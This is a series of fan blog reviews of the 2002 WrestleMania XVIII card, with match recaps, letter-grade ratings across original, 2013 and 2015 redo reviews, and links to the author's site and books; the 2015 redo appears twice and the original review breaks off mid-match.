Wrestlemania Count-Up – XVIII (2015 Redo): Wrong Order

Wrestlemania XVIII
Date: March 17, 2002
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 68,237
Commentators: Jim Ross, Jerry Lawler

Sunday Night Heat: Scotty 2 Hotty/Albert/Rikishi vs. Mr. Perfect/Test/Lance Storm

Storm is a serious Canadian wrestler and Albert now enjoys dancing under the nickname the Hip Hop Hippo. Perfect returned at the Royal Rumble and had a short but nice run. Jacqueline is guest referee here. Albert quickly charges into raised boots in the corner but comes back with a quick powerbomb for two.

Dancing ensues post match.

The opening video, narrated by Undertaker of all people to start, talks about how this is the biggest night of the year. Other names talk about how big this show is and they treat it like the only thing that matters all year. This fits well with the tagline of the show “The One And Only.” The only matches discussed are Hogan vs. Rock and HHH vs. Jericho, which are the only ones that really deserve attention.

Intercontinental Title: Rob Van Dam vs. William Regal

Regal is defending and Van Dam debuted last year during the Invasion. Rob starts with a quick spinning kick to the face so Regal already loads up his trademark brass knuckles. Van Dam is ready though and kicks them off his hand, only to miss an early Five Star Frog Splash attempt. A suplex and the Regal Cutter (arm trap neckbreaker) get two each for the champ and we hit the chinlock.

Rating: C. This went fine and was a nice way to get the show going. Rob was a fun act and one of the more popular guys on the roster at this point so giving him a title win in a quick match made sense. Regal is still a great choice for a midcard heel who can lose, get built up again in no time, and be evil all over again.

European Title: Diamond Dallas Page vs. Christian

Hardcore Title: Goldust vs. Maven

Crash chases Spike off.

Crash and Spike fight in the back when Al Snow speeds in on a golf cart with his own referee, only to crash through cardboard boxes. The Hurricane (a superhero) swings in on a rope and pins Spike to win the title.

JR and Lawler talk about what just happened and then show it again. IT WAS THIRTY SECONDS AGO!

Kurt Angle vs. Kane

Ric Flair vs. Undertaker

Rating: B. I liked this better than I remember as you had Flair going into his old school style and making the match last longer than you would normally see here. Undertaker beating him down slowly but surely worked as well with Flair getting his his hope spots where he could. Undertaker had to win here though and that worked very well.

Edge vs. Booker T.

Mighty Molly (Molly Holly as a superhero) hits Hurricane with a frying pan and steals the title.

Steve Austin vs. Scott Hall

Axxess video. A girl meets Undertaker and breaks into tears. Even as a heel, you can see that Undertaker is touched.

Tag Team Titles: Billy and Chuck vs. Dudley Boyz vs. Hardy Boyz vs. APA

Elimination rules. Billy and Chuck (Billy Gunn and Chuck Palumbo (a young WCW guy) as a very, shall we say, close team) are defending. Saliva plays the Dudleyz to the ring and their manager Stacy Keibler dances with the band. The APA jumps the champs to start and Bradshaw throws both of them with fall away slams. Chuck finally gets in a clothesline to Faarooq and the champs stomp him down in the corner.

Hall and Nash say Austin got lucky and plan an attack on Rock tonight. Hogan comes up and calls it off because he needs to do this one himself.

The Rock vs. Hollywood Hogan

Make no mistake about it: this is the main event. Hogan is here alone and instantly the biggest face on the roster because Toronto is an old WWF town. Rock is nearly booed out of the building for the second year in a row. They stare each other down and you can feel the energy. The bell rings and we get the big lockup with Hogan shoving him down and posing for a standing ovation. Hogan is only the heel in name only here and everyone knows it.

Big Show is at WWF New York.

The new attendance record is announced.

WWF World Title: HHH vs. Chris Jericho

HHH celebrates a lot.

The now traditional four minute highlight package closes us out.

Ratings Comparison

Rob Van Dam vs. William Regal

Original: C

2013 Redo: B-

2015 Redo: C

Diamond Dallas Page vs. Christian

Original: D+

2013 Redo: C

2015 Redo: D

Maven vs. Goldust

Original: N/A

2013 Redo: N/A

2015 Redo: D-

Kurt Angle vs. Kane

Original: C+

2013 Redo: C-

2015 Redo: C

Undertaker vs. Ric Flair

Original: B

2013 Redo: C

2015 Redo: B

Edge vs. Booker T

Original: C

2013 Redo: D+

2015 Redo: C-

Steve Austin vs. Scott Hall

Original: D

2013 Redo: C

2015 Redo: C-

Billy and Chuck vs. APA vs. Dudley Boys vs. Hardy Boys

Original: F

2013 Redo: D

2015 Redo: D+

Rock vs. Hollywood Hogan

Original: C+

2013 Redo: B

2015 Redo: B

Jazz vs. Trish Stratus vs. Lita

Original: F+

2013 Redo: D-

2015 Redo: D+

HHH vs. Chris Jericho

Original: C+

2013 Redo: C+

2015 Redo: B-

Overall Rating

Original: C

2013 Redo: C-

2015 Redo: B-

http://kbwrestlingreviews.com/2011/03/25/history-of-wrestlemania-with-kb-wrestlemania-18-should-have-been-hogan-vs-austin/

And the 2013 Redo:

http://kbwrestlingreviews.com/2013/03/27/wrestlemania-count-up-wrestlemania-xviii-an-actual-dream-match/

 

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.




Wrestlemania Count-Up – Wrestlemania XVIII (2015 Redo): The Real Dream Match

Wrestlemania XVIII
Date: March 17, 2002
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 68,237
Commentators: Jim Ross, Jerry Lawler

Sunday Night Heat: Scotty 2 Hotty/Albert/Rikishi vs. Mr. Perfect/Test/Lance Storm

Storm is a serious Canadian wrestler and Albert now enjoys dancing under the nickname the Hip Hop Hippo. Perfect returned at the Royal Rumble and had a short but nice run. Jacqueline is guest referee here. Albert quickly charges into raised boots in the corner but comes back with a quick powerbomb for two.

Dancing ensues post match.

The opening video, narrated by Undertaker of all people to start, talks about how this is the biggest night of the year. Other names talk about how big this show is and they treat it like the only thing that matters all year. This fits well with the tagline of the show “The One And Only.” The only matches discussed are Hogan vs. Rock and HHH vs. Jericho, which are the only ones that really deserve attention.

Intercontinental Title: Rob Van Dam vs. William Regal

Regal is defending and Van Dam debuted last year during the Invasion. Rob starts with a quick spinning kick to the face so Regal already loads up his trademark brass knuckles. Van Dam is ready though and kicks them off his hand, only to miss an early Five Star Frog Splash attempt. A suplex and the Regal Cutter (arm trap neckbreaker) get two each for the champ and we hit the chinlock.

Rating: C. This went fine and was a nice way to get the show going. Rob was a fun act and one of the more popular guys on the roster at this point so giving him a title win in a quick match made sense. Regal is still a great choice for a midcard heel who can lose, get built up again in no time, and be evil all over again.

European Title: Diamond Dallas Page vs. Christian

Hardcore Title: Goldust vs. Maven

Crash chases Spike off.

Crash and Spike fight in the back when Al Snow speeds in on a golf cart with his own referee, only to crash through cardboard boxes. The Hurricane (a superhero) swings in on a rope and pins Spike to win the title.

JR and Lawler talk about what just happened and then show it again. IT WAS THIRTY SECONDS AGO!

Kurt Angle vs. Kane

Ric Flair vs. Undertaker

Rating: B. I liked this better than I remember as you had Flair going into his old school style and making the match last longer than you would normally see here. Undertaker beating him down slowly but surely worked as well with Flair getting his his hope spots where he could. Undertaker had to win here though and that worked very well.

Edge vs. Booker T.

Mighty Molly (Molly Holly as a superhero) hits Hurricane with a frying pan and steals the title.

Steve Austin vs. Scott Hall

Axxess video. A girl meets Undertaker and breaks into tears. Even as a heel, you can see that Undertaker is touched.

Tag Team Titles: Billy and Chuck vs. Dudley Boyz vs. Hardy Boyz vs. APA

Elimination rules. Billy and Chuck (Billy Gunn and Chuck Palumbo (a young WCW guy) as a very, shall we say, close team) are defending. Saliva plays the Dudleyz to the ring and their manager Stacy Keibler dances with the band. The APA jumps the champs to start and Bradshaw throws both of them with fall away slams. Chuck finally gets in a clothesline to Faarooq and the champs stomp him down in the corner.

Hall and Nash say Austin got lucky and plan an attack on Rock tonight. Hogan comes up and calls it off because he needs to do this one himself.

The Rock vs. Hollywood Hogan

Make no mistake about it: this is the main event. Hogan is here alone and instantly the biggest face on the roster because Toronto is an old WWF town. Rock is nearly booed out of the building for the second year in a row. They stare each other down and you can feel the energy. The bell rings and we get the big lockup with Hogan shoving him down and posing for a standing ovation. Hogan is only the heel in name only here and everyone knows it.

Big Show is at WWF New York.

The new attendance record is announced.

WWF World Title: HHH vs. Chris Jericho

HHH celebrates a lot.

The now traditional four minute highlight package closes us out.

Ratings Comparison

Rob Van Dam vs. William Regal

Original: C

2013 Redo: B-

2015 Redo: C

Diamond Dallas Page vs. Christian

Original: D+

2013 Redo: C

2015 Redo: D

Maven vs. Goldust

Original: N/A

2013 Redo: N/A

2015 Redo: D-

Kurt Angle vs. Kane

Original: C+

2013 Redo: C-

2015 Redo: C

Undertaker vs. Ric Flair

Original: B

2013 Redo: C

2015 Redo: B

Edge vs. Booker T

Original: C

2013 Redo: D+

2015 Redo: C-

Steve Austin vs. Scott Hall

Original: D

2013 Redo: C

2015 Redo: C-

Billy and Chuck vs. APA vs. Dudley Boys vs. Hardy Boys

Original: F

2013 Redo: D

2015 Redo: D+

Rock vs. Hollywood Hogan

Original: C+

2013 Redo: B

2015 Redo: B

Jazz vs. Trish Stratus vs. Lita

Original: F+

2013 Redo: D-

2015 Redo: D+

HHH vs. Chris Jericho

Original: C+

2013 Redo: C+

2015 Redo: B-

Overall Rating

Original: C

2013 Redo: C-

2015 Redo: B-

http://kbwrestlingreviews.com/2011/03/25/history-of-wrestlemania-with-kb-wrestlemania-18-should-have-been-hogan-vs-austin/

And the 2013 Redo:

http://kbwrestlingreviews.com/2013/03/27/wrestlemania-count-up-wrestlemania-xviii-an-actual-dream-match/

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.




Wrestlemania Count-Up – Wrestlemania XVIII (2013 Redo): How The Austin Has Fallen

Wrestlemania XVIII
Date: March 17, 2002
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 68,237
Commentators: Jim Ross, Jerry Lawler

The opening video is about how Wrestlemania is the biggest show of the year and what it means for your career to make it to this show. The main focus is on HHH being back in the main event tonight.

Intercontinental Title: Rob Van Dam vs. William Regal

The champion takes it to the mat for a bit before a quick suplex gets two. Regal puts on a quick chinlock but Van Dam flips out of it, only to hit knees with Rolling Thunder. A nice butterfly powerbomb gets two for Regal but Rob rolls him up before the Regal Stretch can go on. Van Dam monkey flips Regal down but Regal blocks the stepover kick into a half nelson suplex. Nicely done. Rob rolls to the floor and Regal follows, where he finds the brass knuckles. The referee takes them away back inside, but Regal pulls out a second pair. Not that it matters though as RVD kicks him down and hits the Five Star to win the title.

European Title: Christian vs. Diamond Dallas Page

Christian jumps Page to start but Page comes back with a nice over the shoulder gutbuster before clotheslining Christian out to the floor. Back in and Page pounds away in the corner, only to be dropped face first onto the buckle. We hear about Page being the Cadillac driver at Wrestlemania 6 in this same building which is indeed a pretty cool story. They trade slugs in the corner but Christian rams Page into the post to take over.

Post match Page says that was a good thing but Christian has a tantrum anyway.

Hardcore Title: Goldust vs. Maven

Drowning Pool performs a song called Tear Away which “tells the story” of the main event, which means we get a small video of the feud as they play their song. This fills up like five minutes of the show, which combined with the other performance earlier could have easily gone to another match or extending one of the existing ones.

Kurt Angle vs. Kane

The side slam puts Kane down but Angle rolls some Germans to put him right back down. A top rope clothesline puts Kane down again but the second attempt lands on an uppercut from Kane. Both guys are down again as the match slows down even more. Kane comes back with the big boot and the tilt-a-whirl powerslam for two. Now the chokeslam hits but Angle grabs the rope. Angle grabs the mask to confuse Kane and hits the Angle Slam for two.

Ric Flair vs. Undertaker

Anderson comes in and gets busted open via some shots to the head and is put in a dragon sleeper (yes Taker used to use that) for good measure. Flair breaks it up with a chair but gets kicked in the face. They botch the Last Ride attempt (it almost looked like Flair was sandbagging him) so Taker Tombstones him to end it.

Booker T vs. Edge

Steve Austin vs. Scott Hall

Axxess video. That still looks awesome.

Tag Titles: Dudley Boyz vs. Hardy Boyz vs. Billy and Chuck vs. APA

Rating: D. This was only thirteen minutes long but MAN ALIVE was this a chore to sit through. There was no need for this to be on the card and everyone from the commentators to the fans had no interest in it. The only good thing about this was how insanely hot Stacy looked. This could have easily been cut and made this already bloated show a bit easier to sit through.

Molly tries to leave but gets hit in the face by a door to give Christian the title.

We recap Hogan vs. Rock, which is the real main event of this show. Hogan talked about how he was a legend but then the people turned on him. Rock came out and said that it was Hogan that changed rather than the people. He said Hogan had talked about main headlining Wrestlemania after Wrestlemania, so how does he feel about headlining one more Wrestlemania against the Rock. Hogan said yes and got a Rock Bottom for his trouble.

Hollywood Hogan vs. The Rock

Post match they stare each other down with Hogan holding his ribs. Hogan extends his hand and Rock gladly shakes it. Hulk lets Rock pose but here are the Outsiders. They yell at Hogan and beat him down, but Rock runs back in for the save. Hall and Nash are dispatched and Rock and Hogan stand tall, apparently having made up after Hogan HIT ROCK WITH A HAMMER AND CRUSHING HIM WITH A SEMITRUCK. Rock has Hogan pose for the fans after the match in another nostalgia moment.

Big Show is at WWF New York.

We get the attendance record announcement: 68,237, breaking the record (presumably) held by Wrestlemania VI by about 600 people.

Maven jumps Christian as he leaves and steals the title again, finally ending this stupid joke.

WWF World Title: HHH vs. Chris Jericho

Back in and Jericho hits the Lionsault for two and there are the Walls for good measure. Jericho pulls him away from the ropes so HHH crawls again to make them. Stephanie offers a distraction so Jericho can bring in a chair but HHH counters with a DDT onto said chair. The crowd is DEAD for this. Stephanie comes in for no apparent reason and we finally get to see HHH Pedigree her. A chair shot to the head puts HHH down for two so Jericho loads up a Pedigree of his own. That gets countered into a slingshot and the real Pedigree gives HHH the title back.

HHH celebrates to end the show.

Ratings Comparison

Rob Van Dam vs. William Regal

Original: C

Redo: B-

Diamond Dallas Page vs. Christian

Original: D+

Redo: C

Maven vs. Goldust

Original: N/A

Redo: N/A

Kurt Angle vs. Kane

Original: C+

Redo: C-

Undertaker vs. Ric Flair

Original: B

Redo: C

Edge vs. Booker T

Original: C

Redo: D+

Steve Austin vs. Scott Hall

Original: D

Redo: C

Billy and Chuck vs. APA vs. Dudley Boys vs. Hardy Boys

Original: F

Redo: D

Rock vs. Hollywood Hogan

Original: C+

Redo: B

Jazz vs. Trish Stratus vs. Lita

Original: F+

Redo: D-

HHH vs. Chris Jericho

Original: C+

Redo: C+

Overall Rating

Original: C

Redo: C-

http://kbwrestlingreviews.com/2011/03/25/history-of-wrestlemania-with-kb-wrestlemania-18-should-have-been-hogan-vs-austin/

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

AND

Remember to check out Wrestlingrumors.net for all of your wrestling headline needs.




Wrestlemania Count-Up – Wrestlemania XVIII (Original): It’s Not About Them

Wrestlemania 18
Date: March 17, 2002
Location: Skydome, Toronto, Canada
Attendance: 68,237
Commentators: Jerry Lawler, Jim Ross
America the Beautiful: N/A

Now this is a very interesting case. WWE had completely bombed the previous year with the Alliance and the Invasion. Those angles had to be pushed forward because HHH was injured about two months after Wrestlemania X7. Since then we had two world titles running around meaning two champions. At Vengeance, they were unified into the Undisputed Championship. That’s the night Jericho references once every 8.3 minutes.

Anyway, your main idea here is that after Shane and Stephanie lost in the Winner Take All Match, they sold their shares to none other than Ric Flair. He and Vince owned half of the company, but Vince couldn’t handle this. He says that if Flair doesn’t sell the shares back to him, he’ll poison the company by bringing in the NWO. Of course this winds up happening and it’s nowhere near as effective as it was 6 years ago in WCW.

They cost Austin the title so he’s mad at Hall and they have a match tonight. Rock challenges Hogan for the super match WHICH SHOULD HAVE BEEN AUSTIN. Seriously, if WWE wants to kid themselves and try to believe that Rock was at Austin’s level, go ahead. That belongs in the same book that says Attitude was a completely original idea. So instead we get Rock vs. Hogan. There’s one big issue that this causes: no one cares about HHH vs. Jericho now.

People weren’t buying into his title reign in the first place as there’s a common rumor going around that says the Undisputed Title was supposed to go to HHH but he wasn’t healthy yet. I would completely buy that if someone told me it was true. This is the last WM before the brand split made an attempt to kill the company. Let’s get to it.

Here’s your first clue that this show is going to be bad: Saliva plays Superstar to kick it off. Not O Canada? Seriously, we get this to start the show? Anyone else kind of disappointed? Don’t get me wrong, Saliva is a sweet band (their concerts completely suck though. Save your money and just listen to the CDs. They’re miles better).

The fans aren’t even into it at all as it’s just completely out of place. The standard “This is our Super Bowl” video follows. That is used a lot but there’s a reason: it’s the truth. The four guys in the main events tonight get to talk about what Mania means tonight. They did a good job of making it feel epic if nothing else. Pretty cool video of people talking about how important Mania is, and 8 minutes after the show started we hear JR. Lawler is back this year and it’s very nice to hear. Those two just belong at Wrestlemania.

Intercontinental Title: William Regal vs. Rob Van Dam

Ladies and Gentlemen (notice the Saliva pun?) we have proof once and for all that Vince hates RVD and anything he didn’t create. If you remember the fall before this, Van Dam was main eventing a pay per view and getting great pops everywhere the show went. He was incredibly over and it’s not like his in ring stuff is terrible. Sure he’s no Lou Thesz but it’s not like he does nothing out there.

Wouldn’t you think a guy that gets pops like he does is worth more than the opening spot? Just shows me that no matter what he did, RVD was never going to get a fair shake. He gets caught with drugs once and he’s gone. Jeff gets caught how many times and still gets a title run. (Ironically enough I’m rewriting this the morning after Victory Road 2011). Seriously, there’s something completely not right about that.

Regal is perhaps the most bland heel I’ve ever seen at this point. He was just completely boring. The crowd is chanting for RVD less than 20 seconds in. Standing moonsault gets no cover by Van Dam as he starts off very quickly. Regal grabs the brass knuckles very quickly but RVD kicks them out of his hand. Spin kick misses but Van Dam hits the jump kick to set up the Five Star.

That misses and it’s Regal with a cover for two. Suplex gets two. RVD fights back a bit but the Regal Cutter (neckbreaker) puts him right back down. Off to the chinlock and Regal is bleeding from the mouth. Rolling Thunder eats knees and a butterfly powerbomb gets two. Regal Stretch doesn’t work either.

Monkey flip puts Regal down but Rob walks into a SICK half nelson suplex to send him to the floor. Regal goes out to get Van Dam and finds the knuckles which the referee knocks away. Regal pulls out more but Van Dam kicks him in the face and the Five Star starts Van Dam’s Mania unbeaten streak.

Rating: C. This isn’t much at all. It’s the second year in a row Regal was in the IC match in the opening, but this is far worse than last year as it was just kind of there. There’s no story, no psychology that’s noticeable, and it’s mainly Van Dam just using his signature moves. It’s not a terrible match, but there was nothing great about it at all.

Lillian is with Christian and we see a clip of him turning on his mentor DDP who helped him get over Christian’s losing streak. Christian doesn’t need Page or Toronto anymore. That’s a bad thing for Page apparently.

European Title: Christian vs. DDP

Christian’s At Last You Are On Your Own entrance is just great. He’s announced as being from Tampa, Florida, which is a very nice little heel touch that could be done more often. DDP was the guy that drove the Pink Cadillac at WM 6 in the same building. Page is so ridiculously charismatic it’s unreal. He might even rival Hogan in that category.

Christian jumps him as we get into the ring and it’s on early. DDP gets a nice gutwrench powerbomb into a gutbuster. Cactus Clothesline by Page takes us to the floor. Back in and Page tries the ten punches in the corner but Christian pops Page in the balls to break that up. Page is knocked to the floor as this isn’t interesting at all.

An attempted crotch shot to the post by Page is blocked. Nothing of note is going on here. Back in the ring and we get an abdominal stretch. Discus lariat misses and it’s back to Christian’s control. Page gets something close to a powerslam off the top and both guys are down. There’s the discus lariat and down goes Christian.

Modified spiral bomb by Page gets two again. Neither the Unprettier or the Diamond Cutter works and Christian gets two off a reversed DDT. Christian avoids having a temper tantrum which was this stupid thing he was doing at the time. Diamond Cutter ends it clean and Page retains. He never got over in WWE at all. Page makes fun of Christian post match.

Rating: D+. Just like the previous match, this was next to nothing. These matches simply don’t feel like Wrestlemania matches to put it as basically as I can. They’re PPV quality I suppose, but not WM quality. Again, not bad, but nothing special at all. Like I said, Page just never clicked at all in this company.

Christian has a fit post match.

Coach is with Rock in the back and the fans chant for Hogan. Rock asks Coach is he said his prayers this morning but Coach says he got busy and forgot. Rock makes him say his prayers, which Coach starts off with by saying “What’s up G?” Rock freaks and throws him out. Coachman getting harassed by Rock simply never got old. Rock rips his t-shirt as he says Hogan will smell what he’s cooking. Good grief he was amazing.

Hardcore Title: Goldust vs. Maven

Yes, Eyebrows Huffman is back and somehow he has a title. This match is happening for the sole reason of having a hardcore title match. Remember 24/7 is still in effect. Maven gets his teeth kicked in beyond belief on the floor, more or less being a crash dummy. A golden shovel goes into Maven’s ribs. He then lands the only move he ever really mastered: a standing dropkick. He really was great at that.

Other than that, Maven is beaten inside and out here as this is little more than a squash at this point. They hit each other with trash can lids but Spike Dudley runs out with a referee and pins Maven to win the title? Yes this clearly needed to be on the PPV as we’re now almost 40 minutes into the show and the highlight is a TV match for the IC Title and Maven’s theme music.

Crash Holly runs down and chases Spike, Goldust chases Spike and Maven chases Goldust. Oh this isn’t going to end with just the match is it?

Drowning Pool performs Tear Away to “tell the story” of the Undisputed Title. Instead of, I don’t know, maybe just telling us? This is overkill at this point and the fans really aren’t that interested. This goes on WAY too long as even I’m fast forwarding. You can barely see the video that the song is supposed to be accompanying. This is a waste of time.

In that back, Crash and Spike are fighting but Al Snow drives a golf cart through a wall of boxes (good thing they were there isn’t it?) but Spike gets away. As he’s about to leave, Hurricane swings in on a cable and kicks Spike to win the title as Al gives chase. Oh this is going to be a long night.

Don’t try this at home.

After a 30 second spot to say don’t try this at home, we get a recap of what we just saw with Hurricane doing stuff that you could do at your own home. I know we have short attention spans but be serious people.

Kurt Angle vs. Kane

I’m trying to think of why this match happened and I’m drawing a blank. Apparently Kurt blames him for not being in the main event tonight so I’m guessing Royal Rumble. You figure it out. Anyway there’s no video for it or anything like that so how am I supposed to know? Pre match Angle references the scandal with the Canadian Olympic skating team. He’s the big red, white and blue machine. Kane’s pyro cuts him off. He’ll have to be subject to the blue and white machine aspects of Kurt I guess.

Angle hits Kane with the bell during the pyro to give him the advantage. Apparently Kane got attacked by Angle a few weeks ago and his head is messed up because of it. German puts Kane down. Kane comes back with right hands but walks into an overhead belly to belly and a clothesline. We keep hearing about Angle not being in the main event because of Kane which I guess could have been due to a Jericho/Angle title match which I don’t remember either.

Another suplex sends Kane down again for two. Off to a front facelock but Kane is like screw that and tosses him off. Better than tossing his salad I guess. Angle busts out a top rope clothesline and the fans boo the heck out of him, which is odd as that was a solid clothesline. The second attempt at it is caught and down go both men.

Here’s Kane’s comeback with a back drop and powerslam. Chokeslam gets two and Kane gives us a throat slit. Tombstone is reversed and there’s the Angle Slam for two as well. There’s the ankle lock but it gets reversed. Never mind as it’s right back on again. Kane gets an enziguri to take down Angle again. On the bad leg Kane goes up only to get suplexed off the top which never gets old. Chokeslam is reversed into an incredibly sloppy rollup with Kane’s shoulder up to end it.

Rating: C+. Decent match and by far the best match of the night so far, but that ending really hurts it. Also, why did this match exist again? It’s very odd to see WWE give us a match like this with absolutely no explanation. Nothing too bad here, but dang there was limited chemistry.

Hurricane is trying to hide but winds up in Godfather’s locker room with his ladies. They see him and Godfather chases him off. Point?

We recap Taker vs. Flair. Taker was eliminated by Maven at the Rumble in a big surprise. Rock made fun of him for it so they have a match at No Way Out. Taker tries to use a pipe on Rock but for no reason at all Flair comes out to stop him. Taker challenges him for Mania but Flair says no.

Taker starts beating up his loved ones such as Arn Anderson and his son David. He threatens to beat up his daughter and that’s enough to get Flair to say yes. Part of the deal with this is that during a fight on Smackdown, Flair hit a “fan”. This gets him arrested and thrown off the Board of Directors (Flair being demoded. Holy crap.) Tough guy Taker with the ability to talk is freaking awesome. This is no DQ also.

Undertaker vs. Ric Flair

Flair still looks human here. He hammers away to start as Taker is knocked backwards quickly. They go out onto the table with Flair mauling the dead man. Back into the ring and Flair hammers away. All Flair so far at about two minutes into this. Flair jumps off the apron at Taker but gets caught and rammed into the post. This of course gives us time to talk about the plane crash.

Taker sends Flair into the steps, prompting a fan to say that had to hurt which makes me laugh. Back in the ring and they hammer away even more. Flair goes into the middle buckle and somehow isn’t bleeding yet. Back to the floor again via a Flair Flip and a big boot as Taker pounds Flair into a chair. Flair is, say it with me, busted open.

Back into the ring now and Flair is getting hammered down. BIG chop out of the corner by Flair and here he comes. Ross is into this too as you would expect. Taker’s face is cut a bit as he hits a superplex to kill Flair dead. That of course gets two as Taker hammers away while pulling Flair up every time. Taker goes up for Old School and wastes enough time to have it countered.

We hit the floor again and Flair finds a lead pipe on Taker’s bike, popping him in the head with it. That doesn’t put Taker down of course and we fight up the aisle with Taker bleeding but in control. Flair finds a metal sign to get some shots in as we head back into the ring. Big kick to the balls breaks up a chokeslam attempt and it’s time for the leg.

There’s the Figure Four and Taker is in trouble. Taker grabs the throat ala Big Show back in 96 and chokeslams Flair for two. To be fair it was a pretty weak chokeslam. Does goes the referee and according to Taker it’s pipe time. Arn Anderson pops up out of nowhere and DRILLS Taker with a spinebuster to a huge pop and a two count.

Taker brings in another weapon, this time a chair, but according to Law #8 of wrestling, Flair gets it and pops Taker with it a few times. A big boot stops that and it’s time for the Last Ride. For some reason Flair dead weights him so instead it’s a Tombstone (BIG pop for that) to end it as that looked great. Flair is victim #10.

Rating: B. Leave it to the old guys to come out there and have one of the better matches of the show. I don’t think anyone thought Flair would win but it was fun to see him go out there and just be Flair one more time. After this it was more or less nothing but Evolution and HHH for Flair so it didn’t mean much. Flair would be a heel very soon and Taker would be world champion in a few months. Good match.

Booker talks about how smart he is. He mentions knowing about Einstein’s theory of relatives. This was about one of the most creative backstories I’ve heard in awhile. Booker was allegedly trying to get an endorsement deal for a Japanese shampoo commercial, but before he signed the contract the company found Edge instead. This match is the result of that. You have to say, that’s creative if nothing else.

Booker T vs. Edge

 

So Edge is awesome and it’s his hometown. Who do you think is going to win here? JR wants a cheeseburger from the Hard Rock Café. Funny sign: They Are Fighting Over Shampoo. Truer words have never been spoken. Ton of Edge signs and he gets a great reaction. Basic stuff to start with Booker landing a hot shot to take Edge down.

Out to the floor for just a bit and a missile dropkick gets two. All Booker so far. Edge fires back with a big chop but Booker takes him down on the back of his head with an Alabama Slam for two. Edge botches a top rope rana as Booker lands on Edge’s back which has to freaking hurt. Spinwheel kick by Edge for two and here he comes (to save the day!).

Scissors Kick is reversed into the Edge-O-Matic for two. A top rope spinwheel kick (love that move) gets two for the Canadian. Twisting sunset flip out of the corner is countered into a slingshot by Edge but the spear misses. Spinarooni sets up the axe kick for two. Edge gets an arm drag and the spear for a close two. And there’s the Edgecution to end things. That came out of nowhere.
Rating: C. While this was really just an excuse to get the hometown boy on the show, the pop he got makes up for it. While not bad, this isn’t the best match for either of them but it’s certainly good. Edge’s super push continues, but would get knocked off the tracks by neck surgery just 10 months later as he was cracking into the main event.

In the back, Hurricane is interviewed by Coach about being Hardcore Champion. His sidekick, Mighty Molly appears and says that they need to leave. She then hits him in the head with a frying pan to win the title. Ok, I get that this is supposed to be silly, but there is no reason why there’s a freaking frying pan there. What’s that for, in case Big Show wants a fried roast? Seriously, at least use a chair or something.

All right ladies and gentlemen, pay attention, because you’re about to see the worst idea in Wrestlemania history.

We recap Austin vs. Hall. In short it was Austin vs. the NOW and the first person he went after was Hall. That’s about all there is to it. However, the first thing I want to know is what the heck? Austin is main eventing the show one year ago and is now the midcard special? No wait that would be Rock and Hogan. Austin is now doing the Angle/Benoit match from last year.

This should have been Rock or someone else, leaving Austin vs. Hogan, end of discussion. Your story here is that the NWO took out Austin at No Way Out and cost him the title. Austin kidnapped Hall and tortured him, leading to the NWO attacking Austin and breaking a cinder block over his knee. In a move that was never explained, Austin’s OTHER knee is bandaged the next week. Anyway, let’s get on with this.

Scott Hall vs. Steve Austin
As soon as the bell rings we see your basic problem: Austin is viewed as a superstar, Hall is viewed as a joke. Hall is good enough in the ring to hang with Austin, but no one is buying this. Nash is out with him and helping Hall so at least it’s Austin vs. the Outsiders, but this just feels weak all over.

Austin would soon go on hiatus for several months (I saw his last match before he did this, or at least one of them) and I can’t say I blame him. His character was dead and buried at this point and he would only hang around for about another year. Anyway let’s get to this. Austin pounds away to start and it’s about what you would expect.

Thesz Press and the middle finger elbow connect before Hall can even get the vest off. Hall takes a ton of shots into the buckle and it’s off to the floor now. Austin pops Nash and heads back into the ring only to take a clothesline for two. They slug it out even more as Hall is shall we say limited at this point. Hall sends him to the floor and Nash hammers away.

Back in goes Austin and it’s more basic offense by Hall. WORST FALL AWAY SLAM EVER gets no cover. The fans chant Razor as he gets a clothesline for two. Nash adds in some shots to try to make the inevitable ending a bit less annoying. Austin grabs a weak spinebuster for no cover. Hall fires more punches as that’s about all he can do here.

Hall hits the ropes but runs into a Stunner out of nowhere so Nash pulls the referee out and drills him. The double beating begins but Austin fights them off and it’s a Stunner for both with no referee. Nash takes out the replacement referee as well so Austin backdrops Hall to the floor. The fans all look at something and it’s a bunch of referees to get rid of Nash. Hall hits a Stunner for two and then Austin gets a Stunner as well to end this for good.

Rating: D. I hate this match. It’s almost filler and for Austin, that’s a slap in his face. Put simply, he deserves much better than this. Hall and Nash just aren’t a legitimate challenge for the guy that was the world champion most of the previous year. Hall is ok to feed to someone like Edge or Benoit, but putting him in there with Austin? In no way, shape or form is that acceptable. I’m actually ticked off about this now. This is flat out stupid.

We see a video on Access. That really is a cool idea. It’s like a convention where you can meet wrestlers, call matches, etc.

Tag Titles: Billy/Chuck vs. Dudley Boys vs. APA vs. Hardys Boys
Saliva plays the Dudleyz theme and Stacy looks insanely hot dancing with them. That’s your match highlight. This has elimination rules. The APA are purely here to fill a spot as they would be split up a month later. Lita is in a match later so she’s not here either. Still just one set of titles at this point. You Look So Good To Me is freaking catchy.

This is under elimination rules by the way. The APA jumps the champions as they come in. Bradshaw and Chuck start us off and some double teaming puts Bradshaw down. Crowd is dead here as you would expect them to be. The APA and the champions (Billy and Chuck if I didn’t mention that earlier) have done the whole of the match so far.

Farrooq hits a spinebuster on Billy and then it’s off to Bradshaw. D-Von finally comes in and gets beaten down also. Total mess so far and we’re only about two minutes in. Farrooq hits a spinebuster on Chuck outside and the Clothesline ends Billy. Before Bradshaw can cover though a 3D puts the APA out. The Hardys come in to fight their old rivals.

The key word there is old, as neither of them meant anything anymore and both would go their separate ways very soon. Double DDT on Chuck clearly doesn’t hit the mat but who cares? The Dudleys set up a table on the floor which is for later I’d assume. Whisper in the Wind takes down Bubba but Stacy gets on the apron and pulls her shorts up into a thong. Jeff spanks her and shoves her down.

